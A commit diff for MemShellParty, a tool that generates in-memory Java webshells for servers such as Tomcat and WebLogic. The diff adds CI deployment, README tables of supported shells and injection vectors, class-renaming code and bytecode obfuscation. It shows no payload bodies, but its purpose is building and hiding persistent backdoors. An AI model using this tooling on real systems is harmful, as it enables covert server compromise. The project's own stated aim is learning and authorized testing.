docs: update CHANGELOG

test: not support obfuscation for jetty suo5 filter
feat: add Godzilla MethodVisitor (but not working for now)
2026-09-22 15:10:43 +08:00 · 2025-03-30 15:33:31 +08:00 · 2025-03-30 15:33:31 +08:00 · 2025-03-30 15:33:31 +08:00 · 2025-03-30 15:33:31 +08:00 · 2025-03-30 15:33:31 +08:00
161 changed files with 5654 additions and 558 deletions
@@ -0,0 +1,94 @@
+name: "Dev Deploy"
+
+on:
+  push:
+    branches:
+      - dev
+    paths-ignore:
+      - 'docs/**'
+      - 'boot/**'
+      - 'web/**'
+      - '**.md'
+      - '**/*.png'
+
+jobs:
+  build-jar:
+    name: Build Jar
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Java
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v4
+
+      - name: Setup Bun
+        uses: oven-sh/setup-bun@v2
+        with:
+          bun-version: latest
+
+      - name: Build Web with Bun
+        working-directory: web
+        run: bun install --frozen-lockfile && bun run build
+
+      - name: Build Boot with Gradle
+        run: ./gradlew -Pversion=dev :boot:bootjar -x test
+
+      - name: Upload Boot Jar
+        uses: actions/upload-artifact@v4
+        with:
+          name: boot
+          path: boot/build/libs/boot-dev.jar
+
+  docker-push:
+    name: Docker Push
+    needs: [ build-jar ]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Download Boot Jar
+        uses: actions/download-artifact@v4
+        with:
+          name: boot
+          path: boot/build/libs
+
+      - name: Login to Docker Hub
+        uses: docker/login-action@v3
+        with:
+          registry: docker.io
+          username: ${{ vars.DOCKERHUB_USERNAME }}
+          password: ${{ secrets.DOCKERHUB_TOKEN }}
+
+      - name: Set up QEMU
+        uses: docker/setup-qemu-action@v3
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@v3
+
+      - name: Build and push
+        uses: docker/build-push-action@v6
+        with:
+          context: boot
+          platforms: linux/amd64,linux/arm64
+          push: true
+          tags: docker.io/reajason/memshell-party:dev
+
+  deploy-northflank:
+    name: Deploy to Northflank
+    needs: [ docker-push ]
+    runs-on: ubuntu-latest
+    env:
+      NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
+    steps:
+      - name: Update Deployment
+        run: |
+          curl --header "Content-Type: application/json" \
+               --header "Authorization: Bearer $NORTHFLANK_API_KEY" \
+               --request POST \
+               --data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
+               https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment
@@ -15,9 +15,6 @@ jobs:
      changelog: ${{ steps.get_changelog.outputs.changelog }}
    steps:
      - uses: actions/checkout@v4
-      - uses: actions/setup-python@v5
-        with:
-          python-version: '3.13'

      - name: Get Version
        id: get_version
@@ -51,11 +48,6 @@ jobs:
      - name: Setup Gradle
        uses: gradle/actions/setup-gradle@v4

-      - name: Setup Node
-        uses: actions/setup-node@v4
-        with:
-          node-version: '23'
-
      - name: Setup Bun
        uses: oven-sh/setup-bun@v2
        with:
@@ -29,6 +29,10 @@ replay_pid*
 **/build/
 !src/**/build/

+**/bin/
+!**/src/main/**/bin/
+!**/src/test/**/bin/
+
 # Ignore Gradle GUI config
 gradle-app.setting

@@ -5,6 +5,24 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

+## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
+
+> 做代码生成以及代码混淆真是一件需要耐心的事情
+
+### Added
+
+- 支持自定义内存马生成（#49）by @ReaJason
+- 支持命令回显 ASM Agent 内存马（#51）by @ReaJason
+- 支持简易的代码混淆（#13）by @ReaJason
+- 支持自动发布 DEV 分支代码 CD
+
+### Changed
+
+- 简化 Jetty 获取 Context 代码
+- 优化 Dockerfile 减小镜像体积
+
+**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
+
 ## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01

 ### Added
@@ -23,7 +41,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0

 ### Added

- 支持缩小字节码(移除调试信息) by @ReaJason
+- 支持缩小字节码 (移除调试信息) by @ReaJason
 - 支持 Tomcat Jakarta WebSocket

 ### Fixed
@@ -35,11 +35,9 @@ WORKDIR /usr/src

 COPY --from=source /usr/src /usr/src

-COPY --from=frontend /usr/src/web/dist /usr/src/web/dist
+COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources

-RUN set -ex && \
-    cd web && bash copy-build.sh && \
-    cd .. && ./gradlew -Pversion=${VERSION} :boot:bootjar -x test --no-daemon
+RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test

 FROM eclipse-temurin:17.0.14_7-jre-noble

@@ -47,11 +45,10 @@ LABEL authors="ReaJason<[email protected]>"

 WORKDIR /app

-COPY --from=backend /usr/src/boot/build/libs/*.jar app.jar
-
 RUN groupadd -r spring && \
-    useradd -r -g spring spring && \
-    chown spring:spring /app/app.jar
+    useradd -r -g spring spring
+
+COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar

 USER spring:spring

@@ -17,23 +17,9 @@
 MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台，并且致力于打造内存马的全方位的学习平台。
 在遍地是轮子的时代，是时候造车，带着大伙加速冲冲冲了。

-MemShellParty 出现的原因有以下几个：
-
-1. 工作中有时候客户会有个别中间件的内存马测试需求，这个时候临时写一个太慢又太烦，在不忙的时候做一个工具，有需求就生成一个多好（之前用
-   Java Memshell Generator 生成一个 WAS 的内存马不能用，调了半天修好了）。
-2. 写 [Javassist](https://www.javassist.org/) 实在是太多了，字符串拼接的方式去弄方法 code
-   实在是看得眼睛疼，又不好维护，代码组织合理的话其实都可以，不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/)
-   ，高封装提供的 API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快，而且很多中间件也自带依赖直接能打。
-3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
-   的出现确实帮大忙了，但是其极少的交互逻辑对于一个应用来说是难以接受的，刚好学习了前端对 UX 也感兴趣（对 Desktop
-   应用无感），必须得整一个玩玩。
-4. 因为对自动化测试特别感兴趣，刚好找到了 [Testcontainers](https://testcontainers.com/)
-   ，并且看了一圈武器化工具基本都是无测试的，所以尝试写写可行的集成测试分享分享，被测试包裹的代码，修改起来信心也大，同时也希望这个项目能长久发展。
-5. 特别多的师傅写了 Java 内存马相关的项目，不过都慢慢就不维护了（或者不公开代码了），我举手来整合一下，嘿嘿。
-
 希望你能从这个项目学会或尝试做的：

-1. 学会编写常见中间件框架的内存马编写方式。
+1. 学会编写常见中间件框架的内存马。
 2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
 3. 学会使用 GitHub Actions 编写 CI/CD，编写 CHANGELOG 并通过 CI 自动发布 Release。
 4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类，编写 Agent。
@@ -46,9 +32,9 @@ MemShellParty 出现的原因有以下几个：
 ## 主要特性

 - 无侵入性：生成的内存马不会影响目标中间件正常流量，即使同时注入十几个不同的内存马。
- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- 最小化: 尽可能精简内存马大小，高效传输。
- 强兼容性: 覆盖攻防场景下常见中间件和框架。
+- 高可用性：自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
+- 最小化：尽可能精简内存马大小，高效传输。
+- 强兼容性：覆盖攻防场景下常见中间件和框架。

 ## 快速使用

@@ -56,7 +42,7 @@ MemShellParty 出现的原因有以下几个：

 > 仅限尝鲜的小伙伴，对于其他暴露在公网的服务请谨慎使用，小心生成的内存马带后门

-可直接访问 https://party.memshell.news （搭建在 [Northflank](https://northflank.com/) US
+可直接访问 https://party.memshell.news（搭建在 [Northflank](https://northflank.com/) US
 节点上，访问较慢，Thanks [@xcxmiku](https://github.com/xcxmiku)），每次 Release 都会自动部署最新的镜像。

 ### 本地部署（推荐）
@@ -86,7 +72,84 @@ docker rm -f memshell-party
 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
 ```

-### 本地构建
+## 适配情况
+
+已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
+
+### 中间件以及框架
+
+| Tomcat（5 ~ 11）       | Jetty（6 ~ 11）          | GlassFish（3 ~ 7）     | Payara（5 ~ 6）        |
+|----------------------|------------------------|----------------------|----------------------|
+| Servlet              | Servlet                | Filter               | Filter               |
+| Filter               | Filter                 | Listener             | Listener             |
+| Listener             | Listener               | Valve                | Valve                |
+| Valve                | ServletHandler - Agent | FilterChain - Agent  | FilterChain - Agent  |
+| FilterChain - Agent  |                        | ContextValve - Agent | ContextValve - Agent |
+| ContextValve - Agent |                        |                      |                      |
+
+| Resin（3 ~ 4）        | SpringMVC                | SpringWebFlux   | XXL-JOB      |
+|---------------------|--------------------------|-----------------|--------------|
+| Servlet             | Interceptor              | WebFilter       | NettyHandler |
+| Filter              | ControllerHandler        | HandlerMethod   |              |
+| Listener            | FrameworkServlet - Agent | HandlerFunction |              |
+| FilterChain - Agent |                          | NettyHandler    |              |
+
+| JBossAS（4 ~ 7）       | JBossEAP（6 ~ 7）            | WildFly（9 ~ 30）        | Undertow               |
+|----------------------|----------------------------|------------------------|------------------------|
+| Filter               | Filter                     | Servlet                | Servlet                |
+| Listener             | Listener                   | Filter                 | Filter                 |
+| Valve                | Valve(6)                   | Listener               | Listener               |
+| FilterChain - Agent  | FilterChain - Agent (6)    | ServletHandler - Agent | ServletHandler - Agent |
+| ContextValve - Agent | ContextValve - Agent (6)   |                        |                        |
+|                      | ServletHandler - Agent (7) |                        |                        |
+
+| WebSphere（7 ~ 9）      | WebLogic （10.3.6  ~ 14） |
+|-----------------------|-------------------------|
+| Servlet               | Servlet                 |
+| Filter                | Filter                  |
+| Listener              | Listener                |
+| FilterManager - Agent | ServletContext - Agent  |
+
+| BES（9.5.x）           | TongWeb（6 ~ 7）       | InforSuite AS （9 ~ 10） | Apusic AS （9） |
+|----------------------|----------------------|------------------------|---------------|
+| Filter               | Filter               | Filter                 | Servlet       |
+| Listener             | Listener             | Listener               | Filter        |
+| Valve                | Valve                | Valve                  | Listener      |
+| FilterChain - Agent  | FilterChain - Agent  | FilterChain - Agent    |               |
+| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent   |               |
+
+### 内存马功能
+
+- [x] Godzilla 哥斯拉
+- [x] Behinder 冰蝎
+- [x] 命令执行
+- [x] Suo5
+- [x] AntSword 蚁剑
+- [x] Neo-reGeorg
+- [x] Custom
+
+### 封装方式
+
+- [x] BASE64
+- [x] GZIP BASE64
+- [x] JSP
+- [x] JSPX
+- [x] JAR
+- [x] BCEL
+- [x] 内置脚本引擎、Rhino 脚本引擎
+- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
+- [x] Velocity、Freemarker、JinJava
+- [x] 原生反序列化（CB4）
+- [x] Agent
+- [x] XXL-JOB Executor
+- [x] Hessian、Hessian2 反序列化（XSLT链）
+- [ ] JNDI
+- [ ] JDBC 连接
+- [ ] 其他常见反序列化
+
+## 本地构建
+
+### 源代码构建

 > 适合想编写代码的小伙伴，使用 Git Clone 下载到本地，并构建前后端项目以供使用

@@ -146,7 +209,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
 ```bash
 # 基础构建
 docker buildx build \
-    --build-arg VERSION=1.3.1 \
+    --build-arg VERSION=1.6.0 \
    -t memshell-party:latest . --load

 # 基础镜像启动，访问 127.0.0.1:8080
@@ -154,7 +217,7 @@ docker run -it -d -p 8080:8080 memshell-party:latest

 # 自定义访问路径构建
 docker buildx build \
-    --build-arg VERSION=1.3.1 \
+    --build-arg VERSION=1.6.0 \
    --build-arg ROUTE_ROOT_PATH=/memshell-party \
    --build-arg CONTEXT_PATH=/memshell-party \
    -t memshell-party:latest . --load
@@ -186,81 +249,6 @@ location /memshell-party {
 }
 ```

-## 适配情况
-
-已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
-
-### 中间件以及框架
-
-| Tomcat（5 ~ 11）       | Jetty（6 ~ 11）          | GlassFish（3 ~ 7）     | Payara（5 ~ 6）        |
-|----------------------|------------------------|----------------------|----------------------|
-| Servlet              | Servlet                | Filter               | Filter               |
-| Filter               | Filter                 | Listener             | Listener             |
-| Listener             | Listener               | Valve                | Valve                |
-| Valve                | ServletHandler - Agent | FilterChain - Agent  | FilterChain - Agent  |
-| FilterChain - Agent  |                        | ContextValve - Agent | ContextValve - Agent |
-| ContextValve - Agent |                        |                      |                      |
-
-| Resin（3 ~ 4）        | SpringMVC                | SpringWebFlux   | XXL-JOB      |
-|---------------------|--------------------------|-----------------|--------------|
-| Servlet             | Interceptor              | WebFilter       | NettyHandler |
-| Filter              | ControllerHandler        | HandlerMethod   |              |
-| Listener            | FrameworkServlet - Agent | HandlerFunction |              |
-| FilterChain - Agent |                          | NettyHandler    |              |
-
-| JBossAS（4 ~ 7）       | JBossEAP（6 ~ 7）            | WildFly（9 ~ 30）        | Undertow               |
-|----------------------|----------------------------|------------------------|------------------------|
-| Filter               | Filter                     | Servlet                | Servlet                |
-| Listener             | Listener                   | Filter                 | Filter                 |
-| Valve                | Valve(6)                   | Listener               | Listener               |
-| FilterChain - Agent  | FilterChain - Agent (6)    | ServletHandler - Agent | ServletHandler - Agent |
-| ContextValve - Agent | ContextValve - Agent (6)   |                        |                        |
-|                      | ServletHandler - Agent (7) |                        |                        |
-
-| WebSphere（7 ~ 9）      | WebLogic （10.3.6  ~ 14） |
-|-----------------------|-------------------------|
-| Servlet               | Servlet                 |
-| Filter                | Filter                  |
-| Listener              | Listener                |
-| FilterManager - Agent | ServletContext - Agent  |
-
-| BES（9.5.x）           | TongWeb（6 ~ 7）       | InforSuite AS （9 ~ 10） | Apusic AS （9） |
-|----------------------|----------------------|------------------------|---------------|
-| Filter               | Filter               | Filter                 | Servlet       |
-| Listener             | Listener             | Listener               | Filter        |
-| Valve                | Valve                | Valve                  | Listener      |
-| FilterChain - Agent  | FilterChain - Agent  | FilterChain - Agent    |               |
-| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent   |               |
-
-### 内存马功能
-
- [x] Godzilla 哥斯拉
- [x] Behinder 冰蝎
- [x] 命令执行
- [x] Suo5
- [x] AntSword 蚁剑
- [ ] Neo-reGeorg
- [ ] Custom
-
-### 封装方式
-
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化（CB4）
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化（XSLT链）
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
-
 ## How

 1. 如何使用 bytebuddy 生成类，为属性赋值，添加方法，指定位置调用方法？（**WIP**）
@@ -5,6 +5,8 @@ plugins {
 dependencies {
    constraints {
        api 'net.bytebuddy:byte-buddy:1.+'
+        api 'org.ow2.asm:asm-commons:9.7.1'
+        api 'com.github.jar-analyzer:class-obf:1.5.0'

        api 'javax.servlet:javax.servlet-api:3.0.1'
        api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
@@ -19,7 +21,6 @@ dependencies {
        api 'commons-codec:commons-codec:1.+'
        api 'ch.qos.logback:logback-classic:1.+'

-        api 'xalan:xalan:2.7.0'
        api 'org.apache.bcel:bcel:5.2'

        api 'org.java-websocket:Java-WebSocket:1.5.7'
@@ -28,7 +29,8 @@ dependencies {

        api 'org.jetbrains:annotations:26.0.1'

-        api "org.mockito:mockito-core:5.15.2"
+        api 'org.mockito:mockito-core:5.15.2'
+        api 'org.mockito:mockito-junit-jupiter:5.15.2'
        api 'org.hamcrest:hamcrest:3.0'
        api 'org.junit:junit-bom:5.11.4'
        api 'org.testcontainers:testcontainers:1.20.5'
@@ -4,11 +4,10 @@ LABEL authors="ReaJason<[email protected]>"

 WORKDIR /app

-COPY build/libs/*.jar app.jar
-
 RUN groupadd -r spring && \
-    useradd -r -g spring spring && \
-    chown spring:spring /app/app.jar
+    useradd -r -g spring spring
+
+COPY --chown=spring:spring build/libs/*.jar app.jar

 USER spring:spring

@@ -11,7 +11,6 @@ import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;

 import java.util.*;
-import java.util.stream.Collectors;

 /**
 * @author ReaJason
@@ -40,12 +39,14 @@ public class ConfigController {
            coreMap.put(value.name(), map);
        }
        Config config = new Config();
-        config.setServers(
-                Arrays.stream(Server.values())
-                        .filter(s -> s.getShell() != null)
-                        .map(Server::name)
-                        .collect(Collectors.toList())
-        );
+        Map<String, List<String>> servers = new LinkedHashMap<>();
+        for (Server server : Server.values()) {
+            if (server.getShell() != null) {
+                Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
+                servers.put(server.name(), supportedShellTypes.stream().toList());
+            }
+        }
+        config.setServers(servers);
        config.setCore(coreMap);
        config.setPackers(
                Arrays.stream(Packers.values())
@@ -36,6 +36,11 @@ public class VersionController {

    @GetMapping
    public VersionInfo version() {
+        if ("dev".equals(version)) {
+            return VersionInfo.builder()
+                    .currentVersion(version)
+                    .latestVersion(version).build();
+        }
        String latestVersion = getLatestGithubRelease();
        return VersionInfo.builder()
                .currentVersion(version)
@@ -1,7 +1,7 @@
 package com.reajason.javaweb.boot.dto;

-import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.memshell.Packers;
+import com.reajason.javaweb.memshell.config.*;
 import lombok.Data;

 /**
@@ -25,6 +25,7 @@ public class GenerateRequest {
        private String antSwordPass;
        private String headerName;
        private String headerValue;
+        private String shellClassBase64;
    }

    public ShellToolConfig parseShellToolConfig() {
@@ -51,7 +52,7 @@ public class GenerateRequest {
                    .headerName(shellToolConfig.getHeaderName())
                    .headerValue(shellToolConfig.getHeaderValue())
                    .build();
-            case AntSword ->  AntSwordConfig.builder()
+            case AntSword -> AntSwordConfig.builder()
                    .shellClassName(shellToolConfig.getShellClassName())
                    .pass(shellToolConfig.getAntSwordPass())
                    .headerName(shellToolConfig.getHeaderName())
@@ -62,6 +63,10 @@ public class GenerateRequest {
                    .headerName(shellToolConfig.getHeaderName())
                    .headerValue(shellToolConfig.getHeaderValue())
                    .build();
+            case Custom -> CustomConfig.builder()
+                    .shellClassBase64(shellToolConfig.getShellClassBase64())
+                    .shellClassName(shellToolConfig.getShellClassName())
+                    .build();
            default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
        };
    }
@@ -11,7 +11,7 @@ import java.util.Map;
 */
@Data
 public class Config {
-    private List<String> servers;
+    private Map<String, List<String>> servers;
    private Map<String, Map<?, ?>> core;
    private List<String> packers;
 }
@@ -12,10 +12,6 @@ allprojects {
            implementation platform(project(':bom'))
        }
    }
-
-    repositories {
-        mavenCentral()
-    }
 }

 idea {
@@ -12,6 +12,7 @@ java {

 dependencies {
    implementation 'net.bytebuddy:byte-buddy'
+    implementation 'org.ow2.asm:asm-commons'
    implementation 'commons-io:commons-io'
    implementation 'org.apache.commons:commons-lang3'
    implementation 'commons-codec:commons-codec'
@@ -13,7 +13,7 @@ public class ClassBytesShrink {

    public static byte[] shrink(byte[] bytes, boolean full) {
        ClassReader cr = new ClassReader(bytes);
-        ClassWriter cw = new ClassWriter(0);
+        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
            @Override
            public void visitSource(String source, String debug) {
@@ -0,0 +1,53 @@
+package com.reajason.javaweb.asm;
+
+import org.objectweb.asm.ClassReader;
+import org.objectweb.asm.ClassWriter;
+import org.objectweb.asm.commons.ClassRemapper;
+import org.objectweb.asm.commons.Remapper;
+import org.objectweb.asm.commons.SimpleRemapper;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/29
+ */
+public class ClassRenameUtils {
+
+    public static byte[] renameClass(byte[] classBytes, String newName) {
+        ClassReader reader = null;
+        try {
+            reader = new ClassReader(classBytes);
+        } catch (Exception e) {
+            throw new RuntimeException("invalid class bytes");
+        }
+        String oldClassName = reader.getClassName();
+        String newClassName = newName.replace('.', '/');
+        ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
+        ClassRemapper adapter = new ClassRemapper(writer, new SimpleRemapper(oldClassName, newClassName));
+        reader.accept(adapter, 0);
+        return writer.toByteArray();
+    }
+
+    public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) {
+        ClassReader reader = null;
+        try {
+            reader = new ClassReader(classBytes);
+        } catch (Exception e) {
+            throw new RuntimeException("invalid class bytes");
+        }
+        String oldClassName = relocateClassPackage.replace('.', '/');
+        String newClassName = relocatePrefix.replace('.', '/');
+        ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
+        ClassRemapper adapter = new ClassRemapper(writer, new Remapper() {
+            @Override
+            public String map(String typeName) {
+                if (typeName.startsWith(oldClassName)) {
+                    return typeName.replaceFirst(oldClassName, newClassName);
+                } else {
+                    return typeName;
+                }
+            }
+        });
+        reader.accept(adapter, 0);
+        return writer.toByteArray();
+    }
+}
@@ -0,0 +1,70 @@
+package com.reajason.javaweb.asm;
+
+import lombok.Getter;
+import org.objectweb.asm.ClassReader;
+import org.objectweb.asm.ClassVisitor;
+import org.objectweb.asm.Opcodes;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.HashSet;
+import java.util.Set;
+
+public class InnerClassDiscovery {
+
+    /**
+     * Discovers all inner classes for a given class
+     *
+     * @param originalClass The class to discover inner classes for
+     * @return A set of fully qualified inner class names
+     */
+    public static Set<String> findAllInnerClasses(Class<?> originalClass) throws IOException {
+        Set<String> innerClasses;
+        String resourceName = originalClass.getName().replace('.', '/') + ".class";
+        try (InputStream is = originalClass.getClassLoader().getResourceAsStream(resourceName)) {
+            if (is == null) {
+                throw new IOException("Could not find class file for " + originalClass.getName());
+            }
+
+            ClassReader reader = new ClassReader(is);
+            InnerClassCollector collector = new InnerClassCollector(originalClass.getName());
+            reader.accept(collector, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
+
+            innerClasses = new HashSet<>(collector.getInnerClasses());
+        }
+        try {
+            for (Class<?> innerClass : originalClass.getDeclaredClasses()) {
+                innerClasses.add(innerClass.getName());
+                innerClasses.addAll(findAllInnerClasses(innerClass));
+            }
+        } catch (SecurityException ignored) {
+        }
+
+        return innerClasses;
+    }
+
+    private static class InnerClassCollector extends ClassVisitor {
+        private final String originalClassName;
+        @Getter
+        private final Set<String> innerClasses = new HashSet<>();
+
+        public InnerClassCollector(String originalClassName) {
+            super(Opcodes.ASM9);
+            this.originalClassName = originalClassName.replace('/', '.');
+        }
+
+        @Override
+        public void visitInnerClass(String name, String outerName, String innerName, int access) {
+            String className = name.replace('/', '.');
+            if (outerName != null) {
+                String outerClassName = outerName.replace('/', '.');
+                if (outerClassName.equals(originalClassName)) {
+                    innerClasses.add(className);
+                }
+            } else if (className.startsWith(originalClassName + "$")) {
+                innerClasses.add(className);
+            }
+        }
+
+    }
+}
@@ -0,0 +1,62 @@
+package com.reajason.javaweb.buddy;
+
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.field.FieldDescription;
+import net.bytebuddy.description.field.FieldList;
+import net.bytebuddy.description.method.MethodList;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.implementation.Implementation;
+import net.bytebuddy.jar.asm.ClassVisitor;
+import net.bytebuddy.jar.asm.commons.ClassRemapper;
+import net.bytebuddy.jar.asm.commons.Remapper;
+import net.bytebuddy.pool.TypePool;
+import org.jetbrains.annotations.NotNull;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/27
+ */
+public class ClassRenameVisitorWrapper implements AsmVisitorWrapper {
+    public final String originalClassName;
+    public final String newClassName;
+
+    public ClassRenameVisitorWrapper(String originalClassName, String newClassName) {
+        this.originalClassName = originalClassName.replace('.', '/');
+        this.newClassName = newClassName.replace('.', '/');
+    }
+
+
+    @Override
+    public int mergeReader(int flags) {
+        return flags;
+    }
+
+    @Override
+    public int mergeWriter(int flags) {
+        return flags;
+    }
+
+    @NotNull
+    @Override
+    public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
+                             @NotNull ClassVisitor classVisitor,
+                             @NotNull Implementation.Context implementationContext,
+                             @NotNull TypePool typePool,
+                             @NotNull FieldList<FieldDescription.InDefinedShape> fields,
+                             @NotNull MethodList<?> methods,
+                             int writerFlags,
+                             int readerFlags) {
+        return new ClassRemapper(
+                classVisitor,
+                new Remapper() {
+                    @Override
+                    public String map(String typeName) {
+                        if (typeName.startsWith(originalClassName)) {
+                            return typeName.replaceFirst(originalClassName, newClassName);
+                        } else {
+                            return typeName;
+                        }
+                    }
+                });
+    }
+}
@@ -13,6 +13,20 @@ java {
 group = 'com.reajason.javaweb.memsell'
 version = rootProject.version

+tasks.withType(Test).configureEach {
+    javaLauncher = javaToolchains.launcherFor {
+        languageVersion = JavaLanguageVersion.of(17)
+    }
+}
+
+tasks.named('compileTestJava') {
+    javaCompiler = javaToolchains.compilerFor {
+        languageVersion = JavaLanguageVersion.of(17)
+    }
+    sourceCompatibility = JavaVersion.VERSION_17
+    targetCompatibility = JavaVersion.VERSION_17
+}
+
 test {
    useJUnitPlatform()
    finalizedBy jacocoTestReport
@@ -24,12 +38,13 @@ dependencies {
    implementation project(":memshell")
    implementation project(":memshell-java8")
    implementation 'net.bytebuddy:byte-buddy'
+    implementation 'org.ow2.asm:asm-commons'
+    implementation 'com.github.jar-analyzer:class-obf'

    implementation 'javax.servlet:javax.servlet-api'
    implementation 'javax.websocket:javax.websocket-api'
    implementation 'jakarta.servlet:jakarta.servlet-api'

-//    implementation 'xalan:xalan'
    implementation 'org.apache.bcel:bcel'

    implementation 'commons-io:commons-io'
@@ -38,7 +53,6 @@ dependencies {
    implementation 'com.squareup.okhttp3:okhttp'
    implementation 'ch.qos.logback:logback-classic'
    implementation 'com.alibaba.fastjson2:fastjson2'
-//    implementation 'org.java-websocket:Java-WebSocket'

    implementation 'org.springframework:spring-webmvc'
    implementation 'org.springframework:spring-webflux'
@@ -48,4 +62,5 @@ dependencies {
    testImplementation 'org.junit.jupiter:junit-jupiter'
    testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
    testImplementation "org.mockito:mockito-core"
+    testImplementation 'org.mockito:mockito-junit-jupiter'
 }
@@ -4,9 +4,13 @@ import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.memshell.generator.*;
 import com.reajason.javaweb.memshell.server.AbstractShell;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
+import me.n1ar4.clazz.obfuscator.api.ClassObf;
+import me.n1ar4.clazz.obfuscator.config.BaseConfig;
 import org.apache.commons.lang3.StringUtils;
 import org.apache.commons.lang3.tuple.Pair;

+import java.util.Map;
+
 /**
 * @author ReaJason
 * @since 2024/11/24
@@ -17,8 +21,9 @@ public class MemShellGenerator {
        Server server = shellConfig.getServer();
        AbstractShell shell = server.getShell();
        if (shell == null) {
-            throw new IllegalArgumentException("Unsupported server");
+            throw new IllegalArgumentException("Unsupported server: " + server);
        }
+
        if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
            shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
        }
@@ -27,24 +32,56 @@ public class MemShellGenerator {
            injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
        }

-        Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
-        if (shellInjectorPair == null) {
-            throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
-        }
-        Class<?> shellClass = shellInjectorPair.getLeft();
-        Class<?> injectorClass = shellInjectorPair.getRight();
+        Class<?> injectorClass = null;

-        shellToolConfig.setShellClass(shellClass);
+        if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
+            injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
+        } else {
+            Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
+            if (shellInjectorPair == null) {
+                throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
+            }
+            Class<?> shellClass = shellInjectorPair.getLeft();
+            injectorClass = shellInjectorPair.getRight();
+            shellToolConfig.setShellClass(shellClass);
+        }

        byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);

-        injectorConfig = injectorConfig
-                .toBuilder()
-                .injectorClass(injectorClass)
-                .shellClassName(shellToolConfig.getShellClassName())
-                .shellClassBytes(shellBytes).build();
+        if (shellConfig.isObfuscate()) {
+            BaseConfig config = BaseConfig.Default();
